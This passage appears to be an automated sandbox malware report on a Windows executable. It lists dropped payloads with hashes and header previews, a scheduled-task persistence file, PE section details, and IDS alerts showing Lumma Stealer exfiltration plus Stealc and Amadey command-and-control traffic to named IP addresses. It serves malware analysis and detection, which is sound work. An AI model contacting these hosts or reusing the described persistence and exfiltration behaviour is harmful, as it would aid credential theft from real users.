Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6..7...6..7...6..7...6..7...6...6...6..7...6..o6...6..7...6Rich...6................PE..d................."......\|...T"................@.............................0#.....T.#...`.......... ......................................<............"".................. #. .......T...........................................(... ............................text....{.......\|.................. ..`.rdata...".......$..................@..@.data...............................@....pdata..............................@..@.rsrc....0"......$".................@..@.reloc.. .... #.......".............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

Download File

Process:	C:\Users\user\Desktop\Idau8QuYa3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

Download File

Process:	C:\Users\user\Desktop\Idau8QuYa3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	5.580961603443907
Encrypted:	false
SSDEEP:	98304:wYP8Zc0iQNurF33SihYA66Y2hiUgRR3qTWWSgjE:wYP8Zc0iQNurF3Iyg+W
MD5:	17D940E3012D0A3589F9DCB08CB8AACB
SHA1:	C173FB724ED8484C8E369FA75FE55C583652CA0B
SHA-256:	A8BB33F2E7863A4F50AF391645B42E1C401D58B91C017104215D222EEF02AD70
SHA-512:	A3FD59B9B53B966401BA000A1FBE8EEF6C964420BBC123BB32B525E8C5D34199F217C62E28C14A8A1B981688FC88DCF4C13CF03EE2E02DA7AA5DFAEFACE93569
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........P...........@..........................@P.....t.P...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...frhnetpr.@+...$..4+...$.............@...tbiteucn......P.......O.............@....taggant.0....P.."....O.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1640960
Entropy (8bit):	7.3648707161155675
Encrypted:	false
SSDEEP:	49152:IX9AV3uOFXm1sfcqpN/gjyD4VnBBOj9a:IwBcq7gGg
MD5:	AA835D6591F41D6D07832CF3D74F53A2
SHA1:	F21285AC0A8B7BDDE5E5891C201702CBE1ED1F63
SHA-256:	7F0EE4BDBB8C63ADC31C9ACF4DDF598C6C43EAD11BCB8C814D0F0A3C5233FA40
SHA-512:	DA237435B9D92456A355BAD6EE0EFF0BB912280DBC20DBD61E05C9D1CC742F327FF0BCE99156B0A20E95FFAFBEBE0D70D52303469EC036AB911650A40B0977CE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....kg................................. ... ....@.. .......................`............`.....................................W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......................................................................................................................".'.<.>.&.......................................................................................................................d........'......@B..............................;...Z...x.......................0...N...m................................................................................. .'./.".[.].(.)...........\...( ) ............................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1645056
Entropy (8bit):	7.3689768353218215
Encrypted:	false
SSDEEP:	49152:4XF3BLXp1wWoU0NxvEWc0H22NOuwBOj1a:63BLZStNyJ0H2ia
MD5:	92A9F111C456947F39B59EB9F13E4BF6
SHA1:	644253E99442B76BA5191A84A7DB0A956988BA95
SHA-256:	7DA88908E482FEC4CA9FD15C846070A79F223F358E65CC2F74416F10E030C9D6
SHA-512:	2A4B8D8D042E8E917612661F40F7030D8856D9BB97647331B86E6D86FC9B485A0F6E68A2A8C7A4B7CF5B393B2020876E3BCA1B6C6DA4692C6C1CD64868EA3353
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...(.kg.........."...................... ....@...... .......................`............`...@......@............... ...............................@............................................................................................... ..H............text........ ...................... ..`.rsrc........@......................@..@........................................H.......................................................................................................................".'.<.>.&.......................................................................................................................d........'......@B..............................;...Z...x.......................0...N...m................................................................................. .'./.".[.].(.)...........\...( ) ....................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3673032276605754
Encrypted:	false
SSDEEP:	6:I7TGHVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0ltYct0:dxf2RKQ1CGAFAjzvYRQVyct0
MD5:	5C69BCBC48BC5AD498824BAB42A4BD50
SHA1:	5EB587257C35360452EEB154DAFB6508B7CCAC7C
SHA-256:	36835349BE17C03173272F2B3ED3CA2B6B32A591BC66FFB01659D5077DAFB546
SHA-512:	CC0134920C2A85AECD79808085ECCFF5756D285092E8C8AEEEB0C5EDA88118F172024DF6F74475967AC489F63E0646145415F357E43D1B89CD87073D789CA37E
Malicious:	false
Preview:	....np.*.1eH..vzQR..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949359016551823
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Idau8QuYa3.exe
File size:	1'906'688 bytes
MD5:	0f02b493551249ebec8e7f1f77d27e03
SHA1:	b0123e2635b273edaa243e3984491186a6dd823d
SHA256:	d7e35944454fa434b36485ab788b3ae09a01e4d8f1b2b9ecc991e248c9e65456
SHA512:	39647226befd0b15c73523beb6e01a367117c604f899433f9dc3b91c6f6c030c7b7349cf60c956a219a88d4dda7748eb5025b9e1b3d8e0188e839b8c9eef0b2c
SSDEEP:	49152:cA8MHae84t7JP/6qlpViQZRXy53amizME:yM6e/68pe53czME
TLSH:	5E9533B99AD874A7C0EB0D362BE322383B7525B95AC755C4225D4F6D1748FE028D0BF8
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................0K...........@..........................`K.....Wi....@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD294BF68AAh
psadbw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD294BF88A5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	f939270e03be4084bec33c641462b12f	False	0.9996361825980392	data	7.986298244628269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b5000	0x200	f6e47d602d351936b3d605ab9be95cee	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
muxysgpc	0x30a000	0x1a8000	0x1a7600	d81216ea2c7e6c302e09263740ddf259	False	0.9948377989371124	OpenPGP Secret Key	7.953971660026377	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qqqbnjcx	0x4b2000	0x1000	0x600	c07ee72fcdbb2843b4982c8be2ab5909	False	0.5598958333333334	data	4.906315684513762	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b3000	0x3000	0x2200	5d7e4f1964e42ec15dfb3728f207d240	False	0.07927389705882353	DOS executable (COM)	1.0282144054576094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:44:53.228171+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T08:44:54.142984+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T08:44:54.142984+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T08:44:55.450501+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T08:44:56.211037+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T08:44:56.211037+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T08:44:57.969662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.11.101	443	TCP
2024-12-27T08:45:00.197136+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.11.101	443	TCP
2024-12-27T08:45:01.036715+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	104.21.11.101	443	TCP
2024-12-27T08:45:02.440117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.11.101	443	TCP
2024-12-27T08:45:06.112190+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.11.101	443	TCP
2024-12-27T08:45:08.806870+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.11.101	443	TCP
2024-12-27T08:45:14.980925+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.11.101	443	TCP
2024-12-27T08:45:15.753940+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	104.21.11.101	443	TCP
2024-12-27T08:45:30.184360+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-27T08:46:05.760499+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49783	185.215.113.43	80	TCP
2024-12-27T08:46:29.127940+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49839	31.41.244.11	80	TCP
2024-12-27T08:46:35.676201+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49838	TCP
2024-12-27T08:46:37.113156+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.4	49860	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:44:51.909023046 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:51.909095049 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:51.909198999 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:51.912883997 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:51.912914038 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:53.228080034 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:53.228171110 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:53.230587006 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:53.230608940 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:53.231017113 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:53.272104979 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:53.286324978 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:53.286351919 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:53.286519051 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:54.143019915 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:54.143147945 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:54.143225908 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:54.145931959 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:54.145953894 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:54.155195951 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:54.155241013 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:54.155327082 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:54.155591965 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:54.155606985 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:55.450361013 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:55.450500965 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:55.457665920 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:55.457679987 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:55.458002090 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:55.459711075 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:55.459748983 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:55.459788084 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.211114883 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.211255074 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.211327076 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.211353064 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.211462021 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.211518049 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.211524963 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.219036102 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.219094992 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.219104052 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.227308989 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.227389097 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.227396965 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.235783100 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.235836983 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.235846043 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.287734985 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.330333948 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.381496906 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.381514072 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.412139893 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.412235975 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.412251949 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.415930986 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.415997982 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.416011095 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.416173935 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.416224003 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.418231964 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.418246984 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.418257952 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.418263912 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.749793053 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.749840021 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:56.749903917 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.750420094 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:56.750435114 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:57.969547987 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:57.969661951 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:57.971000910 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:57.971014977 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:57.972059965 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:57.974045038 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:57.974159956 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:57.974220991 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:57.974278927 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:57.974286079 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:58.855505943 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:58.855781078 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:58.855971098 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:58.856120110 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:58.856148958 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:58.936655998 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:58.936701059 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:44:58.937021971 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:58.937391996 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:44:58.937398911 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:00.197012901 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:00.197135925 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:00.198735952 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:00.198751926 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:00.199076891 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:00.200706005 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:00.200848103 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:00.200886011 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:01.036730051 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:01.036881924 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:01.036987066 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:01.037050009 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:01.037070036 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:01.228554964 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:01.228600979 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:01.228750944 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:01.229118109 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:01.229130983 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:02.439867973 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:02.440116882 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:02.441582918 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:02.441591978 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:02.441878080 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:02.443252087 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:02.443406105 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:02.443434954 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:02.443495035 CET	49734	443	192.168.2.4	104.21.11.101
